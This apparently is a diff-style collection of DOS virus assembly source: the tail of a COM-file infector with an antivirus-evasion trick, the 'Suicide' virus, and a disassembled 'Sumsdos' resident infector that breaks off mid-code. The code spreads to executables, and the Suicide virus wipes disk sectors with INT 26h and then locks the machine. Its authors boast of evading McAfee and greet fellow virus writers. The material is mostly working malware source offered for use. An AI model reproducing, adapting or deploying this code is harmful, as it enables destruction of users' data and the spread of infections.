mov ax, 0B800h ; Video memory
mov ds, ax
push cs
pop es
mov si, (80*4+20)*2 ; Centre text on line 4
mov di, offset last
mov cx, subsize
rep movsw ; Save original
mov dx, 3DAh ; Raster port
vbl: in al, dx ; Wait for vertical retrace
test al, 8
jnz vbl
vbl2: in al, dx
test al, 8
jz vbl2
mov cx, subsize ; Put message on screen
mov si, offset msg
mov di, (80*4+20)*2
push ds
push es
pop ds
pop es
disp: movsb
inc di
loop disp
vbl3: in al, dx ; Wait for retrace to end
test al, 8
jnz vbl3
mov cx, 5*16 ; Wait until 5 lines have
hbl: in al, dx ; been read from video mem
test al, 1
jz hbl
hbl2: in al, dx
test al, 1
jnz hbl2
loop hbl
mov cx, subsize ; Restore original screen
mov di, (80*4+20)*2
mov si, offset last
rep movsw
v08x:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop ax
popf
db 0EAh
i08o dw ?
i08s dw ?
msg db 'LOVE LOVE LOVE LOVE LOVE LOVE LOVE LOVE'
subsize equ $-offset msg
vec21:
cmp ax, 4277h ; Installation check
jne v21e
iret
v21e: cmp ax, 4B00h ; Execute program
jne v21x
push ax ; Infect file
push bx
push cx
push dx
push ds
mov ax, 3D82h ; Open file
int 21h
xchg ax, bx ; Put handle in bx
push cs ; Read first bytes
pop ds ; to oentry
mov ah, 3Fh
mov dx, offset oentry
mov cx, 3
int 21h
cmp byte ptr oentry, 'M' ; Check if exe file
je infectx
push cx
mov ax, 4202h ; Seek to eof
xor cx, cx
cwd ; Zero dx
int 21h
sub ax, 3 ; Get offset to eof
mov word ptr entry[1], ax ; Save as jump
xchg dx, ax
mov ax, 4200h
int 21h
mov ah, 3Fh ; Infection check
mov dx, offset last
pop cx
int 21h
cmp byte ptr last[2], 0EAh ; Check if infected
je infectx
mov byte ptr entry, 0E9h ; Create jump opcode
mov ah, 3Fh ; Append virus
inc ah ; Fool TBScan
push ax
mov dx, 103h
mov cx, size-7
int 21h
mov ax, 4200h ; Insert jump
xor cx, cx
cwd
int 21h
pop ax
mov dh, 1h ; 100h in dx
mov cl, 3 ; 3 in cx
int 21h
infectx:
mov ah, 3Eh
int 21h
pop ds
pop dx
pop cx
pop bx
pop ax
v21x: db 0EAh ; Jump to dos vector
i21o dw ?
i21s dw ?
last:
end entry
Binary file not shown.
@@ -0,0 +1,167 @@
;|
;| SUICIDE VIRUS BY TESLA 5
;|
;| THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF
;| GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I
;| THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL
;| EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CODE, SO IT IS NO
;| MORE DETECTABLE BY SCAN OF MCAFEE. THANKS TO 'CRYPT'? AND XTSC FOR
;| THE SOURCE CODE. GREETINGS TO ALL VIRUS WRITERS.
;|
START_PROG: JMP SHORT START_VIRUS
MESSAGE DB 0DH,0AH,'SUICIDE!'
DB 0DH,0AH
DB 0DH,0AH,'TESLA 5 SAYS : NO MORE HD!'
DB 0DH,0AH
DB 0DH,0AH,'NEXT TIME BE SCARED FOR ILLEGAL STUFF!$'
START_VIRUS: MOV AH,19H
INT 21H
DB 0A2H
DW OFFSET INFECT_DRIVE
DB 0A2H
DW OFFSET ACTUAL_DRIVE
MOV AH,47H
MOV DL,0
MOV SI,OFFSET ACTUAL_DIR
INT 21H
MOV AH,1AH
MOV DX,OFFSET NEW_DTA
INT 21H
INFECT_NEXT: MOV AH,3BH
MOV DX,OFFSET ROOT_DIR
INT 21H
MOV AH,4EH
MOV CX,0
MOV DX,OFFSET SEARCH_PATH
INT 21H
CHECK_COMMAND: MOV AL,'N'
CMP [NEW_DTA+23H],AL
JNZ CHECK_INFECT
JMP SHORT SEARCH_NEXT
NOP
CHECK_INFECT: MOV AX,3D02H
MOV DX,OFFSET NEW_DTA+1EH
INT 21H
MOV FILE_HANDLE,AX
XCHG BX,AX
MOV AX,5700H
INT 21H
MOV FILE_DATE,DX
MOV FILE_TIME,CX
CALL GO_BEG_FILE
MOV AH,3FH
MOV CX,2
MOV DX,OFFSET READ_BUF
INT 21H
MOV AL,BYTE PTR [READ_BUF+1]
CMP AL,OFFSET START_VIRUS-102H
JNZ INFECT
MOV AH,3EH
INT 21H
SEARCH_NEXT: MOV AH,4FH
INT 21H
JNC CHECK_COMMAND
MOV AL,INFECT_DRIVE
CMP AL,0
JNZ NO_A_DRIVE
INC AL
NO_A_DRIVE: INC AL
CMP AL,3
JNZ NO_DESTROY
XOR BX,BX
MOV AL,2
MOV DX,BX
MOV CX,40H
INT 26H
MOV AH,9
MOV DX,OFFSET MESSAGE
INT 21H
LOCK_SYSTEM: CLI
JMP SHORT LOCK_SYSTEM
NO_DESTROY:
MOV AH,0EH
MOV DL,AL
MOV INFECT_DRIVE,DL
INT 21H
JMP INFECT_NEXT
INFECT: CALL GO_BEG_FILE
MOV AH,40H
MOV DX,100H
MOV CX,OFFSET END_VIRUS-100H
INT 21H
MOV AX,5701H
MOV CX,FILE_TIME
MOV DX,FILE_DATE
INT 21H
MOV AH,3EH
INT 21H
MOV DL,BYTE PTR [ACTUAL_DRIVE]
MOV AH,0EH
INT 21H
MOV AH,3BH
MOV DX,OFFSET ACTUAL_DIR
INT 21H
MOV AH,9
MOV DX,OFFSET QUIT_MESSAGE
INT 21H
INT 20H
GO_BEG_FILE: MOV AX,4200
XOR CX,CX
XOR DX,DX
INT 21H
RET
FILE_DATE DW (?)
FILE_TIME DW (?)
FILE_HANDLE DW (?)
INFECT_DRIVE DB (?)
ROOT_DIR DB '\',0
SEARCH_PATH DB '*.COM',0
READ_BUF DB 2 DUP (?)
ACTUAL_DRIVE DB (?)
QUIT_MESSAGE DB 'PACKED FILE IS CORRUPT',0DH,0AH,'$'
NEW_DTA DB 2BH DUP (?)
ACTUAL_DIR DB 40H DUP (?)
END_VIRUS:
Binary file not shown.
@@ -0,0 +1,786 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ SUMSDOS ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
DATA_1E EQU 2CH ; (0000:002C=0FF23H)
DATA_2E EQU 43H ; (3E00:0043=0FFFFH)
DATA_3E EQU 45H ; (3E00:0045=0FFFFH)
DATA_4E EQU 47H ; (3E00:0047=0FFFFH)
DATA_5E EQU 49H ; (3E00:0049=0FFFFH)
DATA_6E EQU 51H ; (3E00:0051=0FFFFH)
DATA_7E EQU 53H ; (3E00:0053=0FFFFH)
DATA_8E EQU 57H ; (3E00:0057=0FFFFH)
DATA_9E EQU 5DH ; (3E00:005D=0FFFFH)
DATA_10E EQU 5FH ; (3E00:005F=0FFFFH)
DATA_11E EQU 61H ; (3E00:0061=0FFFFH)
DATA_12E EQU 63H ; (3E00:0063=0FFFFH)
DATA_13E EQU 65H ; (3E00:0065=0FFFFH)
DATA_14E EQU 78H ; (3E00:0078=0FFFFH)
DATA_15E EQU 7AH ; (3E00:007A=0FFFFH)
DATA_16E EQU 7CH ; (3E00:007C=0FFFFH)
DATA_17E EQU 7EH ; (3E00:007E=0FFFFH)
DATA_18E EQU 0AH ; (6CAF:000A=0)
DATA_19E EQU 0CH ; (6CAF:000C=0)
DATA_20E EQU 0EH ; (6CAF:000E=0)
DATA_21E EQU 0FH ; (6CAF:000F=0)
DATA_22E EQU 11H ; (6CAF:0011=0)
DATA_23E EQU 13H ; (6CAF:0013=0)
DATA_24E EQU 15H ; (6CAF:0015=0)
DATA_25E EQU 17H ; (6CAF:0017=0)
DATA_26E EQU 19H ; (6CAF:0019=0)
DATA_27E EQU 1BH ; (6CAF:001B=0)
DATA_28E EQU 1DH ; (6CAF:001D=0)
DATA_29E EQU 1FH ; (6CAF:001F=0)
DATA_30E EQU 29H ; (6CAF:0029=0)
DATA_31E EQU 2BH ; (6CAF:002B=0)
DATA_32E EQU 2DH ; (6CAF:002D=0)
DATA_33E EQU 2FH ; (6CAF:002F=0)
DATA_34E EQU 31H ; (6CAF:0031=0)
DATA_35E EQU 33H ; (6CAF:0033=0)
DATA_36E EQU 4EH ; (6CAF:004E=0)
DATA_37E EQU 70H ; (6CAF:0070=0)
DATA_38E EQU 72H ; (6CAF:0072=0)
DATA_39E EQU 74H ; (6CAF:0074=0)
DATA_40E EQU 76H ; (6CAF:0076=0)
DATA_41E EQU 7AH ; (6CAF:007A=0)
DATA_42E EQU 80H ; (6CAF:0080=0)
DATA_43E EQU 82H ; (6CAF:0082=0)
DATA_44E EQU 8FH ; (6CAF:008F=0)
CODESEG SEGMENT
ASSUME CS:CODESEG, DS:CODESEG
ORG 100h
sumsdos PROC FAR
start:
JMP LOC_2
DB 73H, 55H, 4DH, 73H, 44H, 6FH
DB 73H, 0, 1, 0BCH, 17H, 0
DB 0, 0, 5, 0, 2BH, 2
DB 70H, 0, 6EH, 6, 20H, 0BH
DB 0EBH, 4, 14H, 0AH, 92H, 7BH
DB 0
DB 12 DUP (0)
DB 0E8H, 6, 0ECH, 37H, 17H, 80H
DB 0, 0, 0, 80H, 0, 37H
DB 17H, 5CH, 0, 37H, 17H, 6CH
DB 0, 37H, 17H, 10H, 7, 4CH
DB 72H, 0C5H, 0, 4CH, 72H, 0
DB 0F0H, 46H, 0, 4DH, 5AH, 60H
DB 0, 0CEH, 2, 9FH, 26H, 0C0H
DB 9, 7, 0, 7, 0, 75H
DB 4FH, 10H, 7, 84H, 19H, 0C5H
DB 0, 75H, 4FH, 1EH, 0, 0
DB 0, 0B8H, 0, 4CH, 0CDH, 21H
DB 5, 0, 20H, 0, 49H, 13H
DB 91H, 0B3H, 0, 2, 10H, 0
DB 50H, 93H, 5, 0, 5BH, 3DH
DB 70H, 0ABH
DB 'COMMAND.COM'
DB 1, 0, 0, 0, 0, 0
LOC_2:
CLD ; Clear direction
MOV AH,0E0H
INT 21H ; DOS Services ah=function E0h
CMP AH,0E0H
JAE LOC_3 ; Jump if above or =
CMP AH,3
JB LOC_3 ; Jump if below
MOV AH,0DDH
MOV DI,100H
MOV SI,710H
ADD SI,DI
MOV CX,CS:[DI+11H]
INT 21H ; DOS Services ah=function DDh
LOC_3:
MOV AX,CS
ADD AX,10H
MOV SS,AX
MOV SP,700H
PUSH AX
MOV AX,0C5H
PUSH AX
RET ; Return far
DB 0FCH, 6, 2EH, 8CH, 6, 31H
DB 0, 2EH, 8CH, 6, 39H, 0
DB 2EH, 8CH, 6, 3DH, 0, 2EH
DB 8CH, 6, 41H, 0, 8CH, 0C0H
DB 5, 10H, 0, 2EH, 1, 6
DB 49H, 0, 2EH, 1, 6, 45H
DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
DB 3, 7, 2EH, 8EH, 16H, 45H
DB 0, 2EH, 8BH, 26H, 43H, 0
DB 2EH, 0FFH, 2EH, 47H, 0, 33H
DB 0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH
DB 3, 2EH, 0A3H, 4BH, 0, 26H
DB 0A0H, 0FEH, 3, 2EH, 0A2H, 4DH
DB 0
DB 26H
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry PROC FAR
MOV DATA_46,0A5F3H ; (6CAF:03FC=29H)
MOV ES:DATA_47,0CBH ; (6CAF:03FE=2EH)
POP AX
ADD AX,10H
MOV ES,AX
PUSH CS
POP DS
MOV CX,710H
SHR CX,1 ; Shift w/zeros fill
XOR SI,SI ; Zero register
MOV DI,SI
PUSH ES
MOV AX,142H
PUSH AX
JMP FAR PTR LOC_1
DB 8CH, 0C8H, 8EH, 0D0H, 0BCH, 0
DB 7, 33H, 0C0H, 8EH, 0D8H, 2EH
DB 0A1H, 4BH, 0, 0A3H, 0FCH, 3
DB 2EH, 0A0H, 4DH, 0, 0A2H, 0FEH
DB 3
int_24h_entry ENDP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_21h_entry PROC FAR
MOV BX,SP
MOV CL,4
SHR BX,CL ; Shift w/zeros fill
ADD BX,10H
MOV CS:DATA_35E,BX ; (6CAF:0033=0)
MOV AH,4AH ; 'J'
MOV ES,CS:DATA_34E ; (6CAF:0031=0)
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
MOV AX,3521H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV CS:DATA_25E,BX ; (6CAF:0017=0)
MOV CS:DATA_26E,ES ; (6CAF:0019=0)
PUSH CS
POP DS
MOV DX,25BH
MOV AX,2521H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
MOV ES,DS:DATA_34E ; (6CAF:0031=0)
MOV ES,ES:DATA_1E ; (0000:002C=0FF23H)
XOR DI,DI ; Zero register
MOV CX,7FFFH
XOR AL,AL ; Zero register
LOCLOOP_5:
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP ES:[DI],AL
LOOPNZ LOCLOOP_5 ; Loop if zf=0, cx>0
MOV DX,DI
ADD DX,3
MOV AX,4B00H
PUSH ES
POP DS
PUSH CS
POP ES
MOV BX,35H
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV AH,2AH ; '*'
INT 21H ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
MOV BYTE PTR CS:DATA_20E,0 ; (6CAF:000E=0)
CMP CX,7C3H
JE LOC_7 ; Jump if equal
CMP AL,5
JNE LOC_6 ; Jump if not equal
CMP DL,0DH
JNE LOC_6 ; Jump if not equal
INC BYTE PTR CS:DATA_20E ; (6CAF:000E=0)
JMP SHORT LOC_7
DB 90H
LOC_6:
MOV AX,3508H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV CS:DATA_23E,BX ; (6CAF:0013=0)
MOV CS:DATA_24E,ES ; (6CAF:0015=0)
PUSH CS
POP DS
MOV WORD PTR DS:DATA_29E,7E90H ; (6CAF:001F=0)
MOV AX,2508H
MOV DX,21EH
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LOC_7:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
PUSH DS
POP ES
MOV AH,49H ; 'I'
INT 21H ; DOS Services ah=function 49h
; release memory block, es=seg
MOV AH,4DH ; 'M'
INT 21H ; DOS Services ah=function 4Dh
; get return code info in ax
MOV AH,31H ; '1'
MOV DX,600H
MOV CL,4
SHR DX,CL ; Shift w/zeros fill
ADD DX,10H
INT 21H ; DOS Services ah=function 31h
; terminate & stay resident
DB 32H, 0C0H, 0CFH, 2EH, 83H, 3EH
DB 1FH, 0, 2, 75H, 17H, 50H
DB 53H, 51H, 52H, 55H, 0B8H, 2
DB 6, 0B7H, 87H, 0B9H, 5, 5
DB 0BAH, 10H, 10H, 0CDH, 10H, 5DH
DB 5AH, 59H, 5BH, 58H, 2EH, 0FFH
DB 0EH, 1FH, 0, 75H, 12H, 2EH
DB 0C7H, 6, 1FH, 0, 1, 0
DB 50H, 51H, 56H, 0B9H, 1, 40H
DB 0F3H, 0ACH, 5EH, 59H, 58H, 2EH
DB 0FFH, 2EH, 13H, 0, 9CH, 80H
DB 0FCH, 0E0H, 75H, 5, 0B8H, 0
DB 3, 9DH, 0CFH, 80H, 0FCH, 0DDH
DB 74H, 13H, 80H, 0FCH, 0DEH, 74H
DB 28H, 3DH, 0, 4BH, 75H, 3
DB 0E9H, 0B4H, 0
LOC_8:
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
LOC_9:
POP AX
POP AX
MOV AX,100H
MOV CS:DATA_18E,AX ; (6CAF:000A=0)
POP AX
MOV CS:DATA_19E,AX ; (6CAF:000C=0)
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POPF ; Pop flags
MOV AX,CS:DATA_21E ; (6CAF:000F=0)
JMP DWORD PTR CS:DATA_18E ; (6CAF:000A=0)
LOC_10:
ADD SP,6
POPF ; Pop flags
MOV AX,CS
MOV SS,AX
MOV SP,710H
PUSH ES
PUSH ES
XOR DI,DI ; Zero register
PUSH CS
POP ES
MOV CX,10H
MOV SI,BX
MOV DI,21H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,DS
MOV ES,AX
MUL WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax = data * ax
ADD AX,CS:DATA_31E ; (6CAF:002B=0)
ADC DX,0
DIV WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax,dxrem=dx:ax/data
MOV DS,AX
MOV SI,DX
MOV DI,DX
MOV BP,ES
MOV BX,CS:DATA_33E ; (6CAF:002F=0)
OR BX,BX ; Zero ?
JZ LOC_12 ; Jump if zero
LOC_11:
MOV CX,8000H
REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
ADD AX,1000H
ADD BP,1000H
MOV DS,AX
MOV ES,BP
DEC BX
JNZ LOC_11 ; Jump if not zero
LOC_12:
MOV CX,CS:DATA_32E ; (6CAF:002D=0)
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POP AX
PUSH AX
ADD AX,10H
ADD CS:DATA_30E,AX ; (6CAF:0029=0)
DATA_47 DB 2EH
DB 1, 6, 25H, 0, 2EH, 0A1H
DB 21H, 0, 1FH, 7, 2EH, 8EH
DB 16H, 29H, 0, 2EH, 8BH, 26H
DB 27H, 0, 2EH, 0FFH, 2EH, 23H
DB 0
LOC_13:
XOR CX,CX ; Zero register
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
MOV AH,41H ; 'A'
INT 21H ; DOS Services ah=function 41h
; delete file, name @ ds:dx
MOV AX,4B00H
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
LOC_14:
CMP BYTE PTR CS:DATA_20E,1 ; (6CAF:000E=0)
JE LOC_13 ; Jump if equal
MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
MOV WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
MOV CS:DATA_42E,DX ; (6CAF:0080=0)
MOV CS:DATA_43E,DS ; (6CAF:0082=0)
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CLD ; Clear direction
MOV DI,DX
XOR DL,DL ; Zero register
CMP BYTE PTR [DI+1],3AH ; ':'
JNE LOC_15 ; Jump if not equal
MOV DL,[DI]
AND DL,1FH
LOC_15:
MOV AH,36H ; '6'
INT 21H ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
CMP AX,0FFFFH
JNE LOC_17 ; Jump if not equal
LOC_16:
JMP LOC_43
LOC_17:
MUL BX ; dx:ax = reg * ax
MUL CX ; dx:ax = reg * ax
OR DX,DX ; Zero ?
JNZ LOC_18 ; Jump if not zero
CMP AX,710H
JB LOC_16 ; Jump if below
LOC_18:
MOV DX,CS:DATA_42E ; (6CAF:0080=0)
PUSH DS
POP ES
XOR AL,AL ; Zero register
MOV CX,41H
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
MOV SI,CS:DATA_42E ; (6CAF:0080=0)
LOC_19:
MOV AL,[SI]
OR AL,AL ; Zero ?
JZ LOC_21 ; Jump if zero
CMP AL,61H ; 'a'
JB LOC_20 ; Jump if below
CMP AL,7AH ; 'z'
JA LOC_20 ; Jump if above
SUB BYTE PTR [SI],20H ; ' '
LOC_20:
INC SI
JMP SHORT LOC_19
LOC_21:
MOV CX,0BH
SUB SI,CX
MOV DI,84H
PUSH CS
POP ES
MOV CX,0BH
REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
JNZ LOC_22 ; Jump if not zero
JMP LOC_43
LOC_22:
MOV AX,4300H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
JC LOC_23 ; Jump if carry Set
MOV CS:DATA_38E,CX ; (6CAF:0072=0)
LOC_23:
JC LOC_25 ; Jump if carry Set
XOR AL,AL ; Zero register
MOV CS:DATA_36E,AL ; (6CAF:004E=0)
PUSH DS
POP ES
MOV DI,DX
MOV CX,41H
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP BYTE PTR [DI-2],4DH ; 'M'
JE LOC_24 ; Jump if equal
CMP BYTE PTR [DI-2],6DH ; 'm'
JE LOC_24 ; Jump if equal
INC BYTE PTR CS:DATA_36E ; (6CAF:004E=0)
LOC_24:
MOV AX,3D00H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
LOC_25:
JC LOC_27 ; Jump if carry Set
MOV CS:DATA_37E,AX ; (6CAF:0070=0)
MOV BX,AX
MOV AX,4202H
MOV CX,0FFFFH
MOV DX,0FFFBH
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_25 ; Jump if carry Set
ADD AX,5
MOV CS:DATA_22E,AX ; (6CAF:0011=0)
MOV CX,5
MOV DX,6BH
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV DI,DX
MOV SI,5
REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
JNZ LOC_26 ; Jump if not zero
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP LOC_43
LOC_26:
MOV AX,3524H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DS:DATA_27E,BX ; (6CAF:001B=0)
MOV DS:DATA_28E,ES ; (6CAF:001D=0)
MOV DX,21BH
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LDS DX,DWORD PTR DS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
XOR CX,CX ; Zero register
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LOC_27:
JC LOC_28 ; Jump if carry Set
MOV BX,CS:DATA_37E ; (6CAF:0070=0)
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
MOV AX,3D02H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_28 ; Jump if carry Set
MOV CS:DATA_37E,AX ; (6CAF:0070=0)
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
MOV AX,5700H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV DS:DATA_39E,DX ; (6CAF:0074=0)
MOV DS:DATA_40E,CX ; (6CAF:0076=0)
MOV AX,4200H
XOR CX,CX ; Zero register
MOV DX,CX
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_28:
JC LOC_31 ; Jump if carry Set
CMP BYTE PTR DS:DATA_36E,0 ; (6CAF:004E=0)
JE LOC_29 ; Jump if equal
JMP SHORT LOC_33
DB 90H
LOC_29:
MOV BX,1000H
MOV AH,48H ; 'H'
INT 21H ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
JNC LOC_30 ; Jump if carry=0
MOV AH,3EH ; '>'
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP LOC_43
LOC_30:
INC WORD PTR DS:DATA_44E ; (6CAF:008F=0)
MOV ES,AX
XOR SI,SI ; Zero register
MOV DI,SI
MOV CX,710H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV DX,DI
MOV CX,DS:DATA_22E ; (6CAF:0011=0)
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
PUSH ES
POP DS
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
LOC_31:
JC LOC_32 ; Jump if carry Set
ADD DI,CX
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV SI,5
MOV CX,5
DB 0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H
DB 0D2H, 0B4H, 40H, 0CDH
DB 21H
LOC_32:
JC LOC_34 ; Jump if carry Set
JMP LOC_41
LOC_33:
MOV CX,1CH
MOV DX,4FH
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
LOC_34:
JC LOC_36 ; Jump if carry Set
MOV WORD PTR DS:DATA_11E,1984H ; (3E00:0061=0FFFFH)
MOV AX,DS:DATA_9E ; (3E00:005D=0FFFFH)
MOV DS:DATA_3E,AX ; (3E00:0045=0FFFFH)
MOV AX,DS:DATA_10E ; (3E00:005F=0FFFFH)
MOV DS:DATA_2E,AX ; (3E00:0043=0FFFFH)
MOV AX,DS:DATA_12E ; (3E00:0063=0FFFFH)
MOV DS:DATA_4E,AX ; (3E00:0047=0FFFFH)
MOV AX,DS:DATA_13E ; (3E00:0065=0FFFFH)
MOV DS:DATA_5E,AX ; (3E00:0049=0FFFFH)
MOV AX,DS:DATA_7E ; (3E00:0053=0FFFFH)
CMP WORD PTR DS:DATA_6E,0 ; (3E00:0051=0FFFFH)
JE LOC_35 ; Jump if equal
DEC AX
LOC_35:
MUL WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax = data * ax
ADD AX,DS:DATA_6E ; (3E00:0051=0FFFFH)
ADC DX,0
ADD AX,0FH
ADC DX,0
AND AX,0FFF0H
MOV DS:DATA_16E,AX ; (3E00:007C=0FFFFH)
MOV DS:DATA_17E,DX ; (3E00:007E=0FFFFH)
ADD AX,710H
ADC DX,0
LOC_36:
JC LOC_38 ; Jump if carry Set
DIV WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da
OR DX,DX ; Zero ?
JZ LOC_37 ; Jump if zero
INC AX
LOC_37:
MOV DS:DATA_7E,AX ; (3E00:0053=0FFFFH)
MOV DS:DATA_6E,DX ; (3E00:0051=0FFFFH)
MOV AX,DS:DATA_16E ; (3E00:007C=0FFFFH)
MOV DX,DS:DATA_17E ; (3E00:007E=0FFFFH)
DIV WORD PTR DS:DATA_15E ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da
SUB AX,DS:DATA_8E ; (3E00:0057=0FFFFH)
MOV DS:DATA_13E,AX ; (3E00:0065=0FFFFH)
MOV WORD PTR DS:DATA_12E,0C5H ; (3E00:0063=0FFFFH)
MOV DS:DATA_9E,AX ; (3E00:005D=0FFFFH)
MOV WORD PTR DS:DATA_10E,710H ; (3E00:005F=0FFFFH)
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_38:
JC LOC_39 ; Jump if carry Set
MOV CX,1CH
MOV DX,4FH
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_39:
JC LOC_40 ; Jump if carry Set
CMP AX,CX
